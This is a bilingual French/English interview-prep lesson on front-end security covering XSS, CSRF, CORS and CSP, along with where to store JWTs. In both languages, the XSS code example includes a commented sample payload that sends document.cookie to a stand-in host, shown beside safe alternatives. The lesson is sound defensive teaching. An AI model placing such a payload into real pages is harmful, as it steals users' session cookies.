Jour 35 Day 35 · mercredi 23 septembre 2026 Wednesday 23 September 2026 Sécurité Intermédiaire

Sécurité front : XSS, CSRF, CORS & CSP Front-end security: XSS, CSRF, CORS & CSP

XSS, CSRF, CORS, CSP : quatre sigles que tout candidat full-stack doit savoir distinguer en 30 secondes — et l'éternelle question « où stocker le JWT ? » enfin tranchée honnêtement. XSS, CSRF, CORS, CSP: four acronyms every full-stack candidate must be able to tell apart in 30 seconds — plus the eternal "where do I store the JWT?" question, finally answered honestly.

L’essentiel

Le navigateur exécute du code téléchargé depuis Internet au milieu de vos données de session : c’est un environnement hostile par construction. Quatre mécanismes structurent la sécurité front, et les entretiens adorent vérifier qu’on ne les confond pas :

  • XSS (Cross-Site Scripting) : l’attaquant fait exécuter son JavaScript dans votre page, chez vos utilisateurs. Il peut alors lire le DOM, voler des données, agir au nom de l’utilisateur.
  • CSRF (Cross-Site Request Forgery) : l’attaquant fait envoyer une requête authentifiée par le navigateur de la victime, sans exécuter de code chez vous — il exploite le fait que les cookies partent tout seuls.
  • CORS : pas une attaque, un assouplissement contrôlé de la same-origin policy du navigateur, qui décide quelles pages web peuvent lire les réponses de votre API.
  • CSP (Content Security Policy) : une liste blanche déclarative de ce que la page a le droit de charger et d’exécuter — le filet de sécurité anti-XSS.
AttaqueMécanismeParade principale
XSS stockéPayload persisté (commentaire en DB) puis servi à tousÉchappement contextuel à l’affichage + CSP
XSS réfléchiPayload dans l’URL, renvoyé tel quel dans la pageÉchappement, validation + CSP
XSS DOMLe JS client injecte une donnée non fiable (innerHTML)textContent, sanitization (DOMPurify)
CSRFLe navigateur joint les cookies automatiquementToken anti-CSRF + cookie SameSite + vérif Origin
ClickjackingVotre site dans une iframe invisibleframe-ancestors 'none' (CSP)

Comment ça marche

XSS : tout endroit où une donnée contrôlée par un utilisateur devient du HTML/JS est une porte d’entrée. Trois variantes : stocké (le payload vit en base et touche tous les visiteurs), réfléchi (le payload voyage dans l’URL, il faut faire cliquer la victime), DOM-based (la faille est entièrement côté client : element.innerHTML = userInput). La parade est l’échappement contextuel : la même chaîne ne s’échappe pas pareil dans du HTML, un attribut, du JS ou une URL. Les frameworks modernes (React, Vue) échappent par défaut — les failles se nichent dans les échappatoires : dangerouslySetInnerHTML, v-html, href construit à la main (javascript:...).

// ❌ DANGEREUX : le HTML de l'utilisateur est interprété
div.innerHTML = comment;
// payload typique :
// <img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">

// ✅ Le texte reste du texte : le payload s'affiche, ne s'exécute pas
div.textContent = comment;

// ✅ Besoin de HTML riche (éditeur, markdown) ? On sanitize :
import DOMPurify from "dompurify";
div.innerHTML = DOMPurify.sanitize(comment);

CSRF : le navigateur joint automatiquement les cookies d’un site à toute requête vers ce site, même déclenchée depuis une autre page. Il suffit donc d’attirer une victime connectée sur evil.site :

victime ── session ouverte sur bank.com (cookie)
   │
   │ visite evil.site
   ▼
evil.site : formulaire caché auto-soumis
   │   POST https://bank.com/transfer
   ▼
le navigateur JOINT le cookie de session
   ▼
bank.com : requête authentifiée valide…
           sans protection → virement exécuté

Parades combinées : token anti-CSRF (secret aléatoire injecté dans la page, renvoyé avec la requête — evil.site ne peut pas le lire, same-origin policy oblige), cookie SameSite=Lax (défaut moderne des navigateurs : le cookie ne part plus sur les requêtes cross-site, sauf navigation top-level en GET) ou Strict, et vérification du header Origin côté serveur.

CORS : par défaut, la same-origin policy interdit au JS de site-a.com de lire la réponse d’une requête vers api.site-b.com. CORS permet au serveur d’autoriser explicitement des origines (Access-Control-Allow-Origin). Pour les requêtes « non simples » (JSON, headers custom, PUT/DELETE), le navigateur envoie d’abord un preflight OPTIONS pour demander la permission.

CSP : un header qui déclare d’où la page peut charger scripts, styles, images — et qui, bien configuré, bloque les scripts inline. Même si un payload XSS passe, il ne s’exécute pas : c’est de la défense en profondeur, pas un remplacement de l’échappement.

Content-Security-Policy:
  default-src 'self';        # par défaut : mon origine seule
  script-src 'self';         # ni script inline, ni CDN non listé
  img-src 'self' data:;      # images locales + data-URI
  frame-ancestors 'none';    # personne ne m'iframe (clickjacking)

⚠️ CORS ne protège pas ton API — CORS est appliqué par le navigateur, uniquement : curl, Postman ou un serveur ignorent totalement ces headers. CORS protège les utilisateurs (il empêche une page malveillante de lire vos réponses avec leurs cookies), pas votre serveur. La sécurité de l’API, c’est l’authentification et l’autorisation. Corollaire : Access-Control-Allow-Origin: * n’« ouvre » pas votre API aux pirates — et le restreindre ne la sécurise pas.

Concepts clés à maîtriser

  • Échappement contextuel ≠ validation d’entrée : on valide à l’entrée (format, longueur), mais on échappe à la sortie, selon le contexte d’insertion. Échapper à l’entrée « une fois pour toutes » casse les données et rate des contextes.
  • SameSite : Strict (le cookie ne part jamais en cross-site, même en cliquant un lien — déconnexions surprenantes), Lax (défaut : part uniquement sur les navigations top-level en GET), None (part toujours, exige Secure). Lax bloque le CSRF classique en POST — d’où la règle : jamais de mutation d’état en GET.
  • Preflight : requête OPTIONS automatique avant une requête non simple ; le serveur répond avec les méthodes/headers/origines autorisés (Access-Control-Allow-*). Si le preflight échoue, la vraie requête n’est jamais envoyée. C’est la fameuse « erreur CORS » de la console.
  • Stockage des tokens — le vrai arbitrage : en localStorage, le token est lisible par n’importe quel XSS → exfiltration directe. En cookie httpOnly, le JS ne peut pas le lire (XSS ne peut plus le voler)… mais il part tout seul → il faut gérer le CSRF (SameSite + token). Recommandation générale : cookie httpOnly + Secure + SameSite, protections CSRF en place. Et rester honnête : un XSS reste grave même avec httpOnly — l’attaquant ne vole pas le token, mais il fait des requêtes authentifiées depuis la page.
  • CSP réaliste : partir de default-src 'self', éviter 'unsafe-inline' (qui annule l’intérêt), utiliser nonces ou hashes pour les scripts inline légitimes, et déployer d’abord en Content-Security-Policy-Report-Only pour mesurer la casse.

💡 Les frameworks échappent, les échappatoires tuent — React échappe tout ce qui passe dans du JSX : {userInput} est sûr. Les failles XSS des apps React se trouvent presque toujours au même endroit : dangerouslySetInnerHTML sans sanitization, ou un <a href={userInput}> qui accepte javascript:alert(1). Le nom de l’API vous prévient — écoutez-le.

En entretien

« Explique la différence entre XSS et CSRF. » — XSS : l’attaquant exécute son code dans ma page ; il peut tout lire et tout faire au nom de l’utilisateur ; parade = échappement contextuel + CSP. CSRF : l’attaquant déclenche une requête authentifiée depuis un autre site, sans exécuter de code chez moi, en profitant des cookies envoyés automatiquement ; parade = token anti-CSRF + SameSite. L’un injecte du code, l’autre profite des cookies.

« Où stocker un JWT côté front ? » — Donner l’arbitrage, pas un dogme : localStorage = vulnérable à l’exfiltration par XSS ; cookie httpOnly = illisible par le JS mais expose au CSRF, qu’on couvre avec SameSite + token. Préférence générale : cookie httpOnly/Secure/SameSite. Bonus : tokens à courte durée de vie + refresh, et rappeler qu’un XSS reste grave dans les deux cas.

« À quoi sert CORS ? C’est quoi un preflight ? » — CORS assouplit la same-origin policy : le serveur déclare quelles origines peuvent lire ses réponses depuis un navigateur. Le preflight est le OPTIONS envoyé avant les requêtes non simples pour demander la permission. Point bonus décisif : préciser que CORS ne protège pas le serveur — un client hors navigateur l’ignore.

« Comment prévenir le XSS dans une app React ? » — S’appuyer sur l’échappement par défaut du JSX, bannir dangerouslySetInnerHTML (ou le passer systématiquement par DOMPurify), valider les URLs des href, et ajouter une CSP sans 'unsafe-inline' comme défense en profondeur.

« C’est quoi SameSite ? » — Un attribut de cookie qui contrôle son envoi en contexte cross-site : Strict (jamais), Lax (navigations top-level GET seulement — le défaut), None (toujours, avec Secure). C’est la défense anti-CSRF native des navigateurs, à combiner avec un token pour les cas limites.

Pièges & idées reçues

  • « Erreur CORS → je désactive CORS / je mets un proxy » — l’erreur signifie que votre serveur n’autorise pas votre origine : la solution est une ligne de config côté API (Access-Control-Allow-Origin), pas un contournement. Le proxy de dev est un pansement local, pas un fix.
  • « React/Vue me protègent du XSS » — par défaut oui, mais dangerouslySetInnerHTML, v-html et les URLs javascript: réintroduisent la faille en une ligne.
  • Sanitizer à l’entrée et se croire tranquille — l’échappement dépend du contexte de sortie ; une donnée saine en HTML peut être dangereuse dans un attribut ou une URL.
  • SameSite=Lax et mutations en GET — Lax laisse passer les navigations GET top-level : un lien <a href="https://site.com/delete?id=1"> reste un CSRF fonctionnel si votre API mute en GET.
  • Une CSP avec 'unsafe-inline' — c’est une CSP de décoration : les payloads XSS sont précisément des scripts inline.

🎤 En entretien — entraînez-vous à dérouler « XSS vs CSRF » en 30 secondes chrono, avec une parade chacun. C’est LA question discriminante de sécurité front : ceux qui confondent les deux échouent, ceux qui terminent par « et CORS n’a rien à voir, c’est un mécanisme navigateur, pas une protection serveur » marquent les points.

Pour aller plus loin

The essentials

The browser executes code downloaded from the Internet right next to your session data: it is a hostile environment by construction. Four mechanisms structure front-end security, and interviewers love checking that you don’t mix them up:

  • XSS (Cross-Site Scripting): the attacker gets their JavaScript executed in your page, in your users’ browsers. They can then read the DOM, steal data, act on the user’s behalf.
  • CSRF (Cross-Site Request Forgery): the attacker gets the victim’s browser to send an authenticated request, without executing any code on your site — exploiting the fact that cookies are sent automatically.
  • CORS: not an attack, a controlled relaxation of the browser’s same-origin policy, deciding which web pages may read your API’s responses.
  • CSP (Content Security Policy): a declarative allowlist of what the page may load and execute — the anti-XSS safety net.
AttackMechanismMain defense
Stored XSSPayload persisted (comment in DB) then served to everyoneContextual escaping on output + CSP
Reflected XSSPayload in the URL, echoed back into the pageEscaping, validation + CSP
DOM XSSClient-side JS injects untrusted data (innerHTML)textContent, sanitization (DOMPurify)
CSRFThe browser attaches cookies automaticallyAnti-CSRF token + SameSite cookie + Origin check
ClickjackingYour site inside an invisible iframeframe-ancestors 'none' (CSP)

How it works

XSS: any place where user-controlled data becomes HTML/JS is an entry point. Three variants: stored (the payload lives in the database and hits every visitor), reflected (the payload travels in the URL; the victim must be lured into clicking), DOM-based (the flaw is entirely client-side: element.innerHTML = userInput). The defense is contextual escaping: the same string is not escaped the same way in HTML, an attribute, JS, or a URL. Modern frameworks (React, Vue) escape by default — the flaws hide in the escape hatches: dangerouslySetInnerHTML, v-html, hand-built hrefs (javascript:...).

// ❌ DANGEROUS: the user's HTML gets interpreted
div.innerHTML = comment;
// typical payload:
// <img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">

// ✅ Text stays text: the payload is displayed, not executed
div.textContent = comment;

// ✅ Need rich HTML (editor, markdown)? Sanitize:
import DOMPurify from "dompurify";
div.innerHTML = DOMPurify.sanitize(comment);

CSRF: the browser automatically attaches a site’s cookies to any request headed to that site, even when triggered from another page. So it’s enough to lure a logged-in victim to evil.site:

victim ── active session on bank.com (cookie)
   │
   │ visits evil.site
   ▼
evil.site: hidden auto-submitted form
   │   POST https://bank.com/transfer
   ▼
the browser ATTACHES the session cookie
   ▼
bank.com: valid authenticated request…
          no protection → transfer executed

Combined defenses: an anti-CSRF token (random secret injected into the page and sent back with the request — evil.site cannot read it, thanks to the same-origin policy), a SameSite=Lax cookie (the modern browser default: the cookie no longer travels on cross-site requests, except top-level GET navigations) or Strict, and checking the Origin header server-side.

CORS: by default, the same-origin policy forbids JS on site-a.com from reading the response of a request to api.site-b.com. CORS lets the server explicitly allow origins (Access-Control-Allow-Origin). For “non-simple” requests (JSON, custom headers, PUT/DELETE), the browser first sends a preflight OPTIONS to ask permission.

CSP: a header declaring where the page may load scripts, styles and images from — and which, properly configured, blocks inline scripts. Even if an XSS payload gets through, it doesn’t execute: it’s defense in depth, not a replacement for escaping.

Content-Security-Policy:
  default-src 'self';        # by default: my origin only
  script-src 'self';         # no inline scripts, no unlisted CDN
  img-src 'self' data:;      # local images + data URIs
  frame-ancestors 'none';    # nobody iframes me (clickjacking)

⚠️ CORS does not protect your API — CORS is enforced by the browser, only: curl, Postman or another server completely ignore those headers. CORS protects users (it prevents a malicious page from reading your responses with their cookies), not your server. API security is authentication and authorization. Corollary: Access-Control-Allow-Origin: * does not “open” your API to hackers — and restricting it does not secure it.

Key concepts to master

  • Contextual escaping ≠ input validation: validate on input (format, length), but escape on output, according to the insertion context. Escaping on input “once and for all” corrupts data and misses contexts.
  • SameSite: Strict (the cookie never travels cross-site, even when clicking a link — surprising logouts), Lax (default: only on top-level GET navigations), None (always sent, requires Secure). Lax blocks classic POST CSRF — hence the rule: never mutate state on GET.
  • Preflight: the automatic OPTIONS request before a non-simple request; the server replies with the allowed methods/headers/origins (Access-Control-Allow-*). If the preflight fails, the real request is never sent. That’s the famous console “CORS error”.
  • Token storage — the real trade-off: in localStorage, the token is readable by any XSS → direct exfiltration. In an httpOnly cookie, JS cannot read it (XSS can no longer steal it)… but it travels automatically → you must handle CSRF (SameSite + token). General recommendation: httpOnly + Secure + SameSite cookie, with CSRF protections in place. And stay honest: XSS remains serious even with httpOnly — the attacker doesn’t steal the token, but they make authenticated requests from the page.
  • Realistic CSP: start from default-src 'self', avoid 'unsafe-inline' (which defeats the purpose), use nonces or hashes for legitimate inline scripts, and roll out with Content-Security-Policy-Report-Only first to measure breakage.

💡 Frameworks escape, escape hatches kill — React escapes everything that goes through JSX: {userInput} is safe. XSS flaws in React apps are almost always found in the same place: dangerouslySetInnerHTML without sanitization, or an <a href={userInput}> accepting javascript:alert(1). The API’s name warns you — listen to it.

In an interview

“Explain the difference between XSS and CSRF.” — XSS: the attacker executes their code in my page; they can read everything and do anything on the user’s behalf; defense = contextual escaping + CSP. CSRF: the attacker triggers an authenticated request from another site, without executing code on mine, riding the automatically-sent cookies; defense = anti-CSRF token + SameSite. One injects code, the other rides the cookies.

“Where do you store a JWT on the front end?” — Give the trade-off, not a dogma: localStorage = vulnerable to exfiltration by XSS; httpOnly cookie = unreadable by JS but exposed to CSRF, covered by SameSite + a token. General preference: httpOnly/Secure/SameSite cookie. Bonus: short-lived tokens + refresh, and note that XSS remains serious in both cases.

“What is CORS for? What’s a preflight?” — CORS relaxes the same-origin policy: the server declares which origins may read its responses from a browser. The preflight is the OPTIONS sent before non-simple requests to ask permission. Decisive bonus point: state that CORS does not protect the server — a non-browser client ignores it.

“How do you prevent XSS in a React app?” — Rely on JSX’s default escaping, ban dangerouslySetInnerHTML (or always run it through DOMPurify), validate href URLs, and add a CSP without 'unsafe-inline' as defense in depth.

“What is SameSite?” — A cookie attribute controlling whether it is sent in cross-site contexts: Strict (never), Lax (top-level GET navigations only — the default), None (always, with Secure). It’s the browsers’ native anti-CSRF defense, to be combined with a token for edge cases.

Pitfalls & misconceptions

  • “CORS error → let’s disable CORS / add a proxy” — the error means your server doesn’t allow your origin: the fix is one line of API config (Access-Control-Allow-Origin), not a workaround. The dev proxy is a local band-aid, not a fix.
  • “React/Vue protect me from XSS” — by default yes, but dangerouslySetInnerHTML, v-html and javascript: URLs reintroduce the flaw in one line.
  • Sanitizing on input and calling it a day — escaping depends on the output context; data safe in HTML can be dangerous in an attribute or a URL.
  • SameSite=Lax and GET mutations — Lax lets top-level GET navigations through: a link <a href="https://site.com/delete?id=1"> is still a working CSRF if your API mutates on GET.
  • A CSP with 'unsafe-inline' — that’s a decorative CSP: XSS payloads are precisely inline scripts.

🎤 In an interview — practice delivering “XSS vs CSRF” in 30 seconds flat, with one defense each. It’s THE discriminating front-end security question: those who mix the two up fail, and those who close with “and CORS is unrelated — it’s a browser mechanism, not a server protection” score the points.

Going further

S'entraîner sur ce sujet → Practice this topic →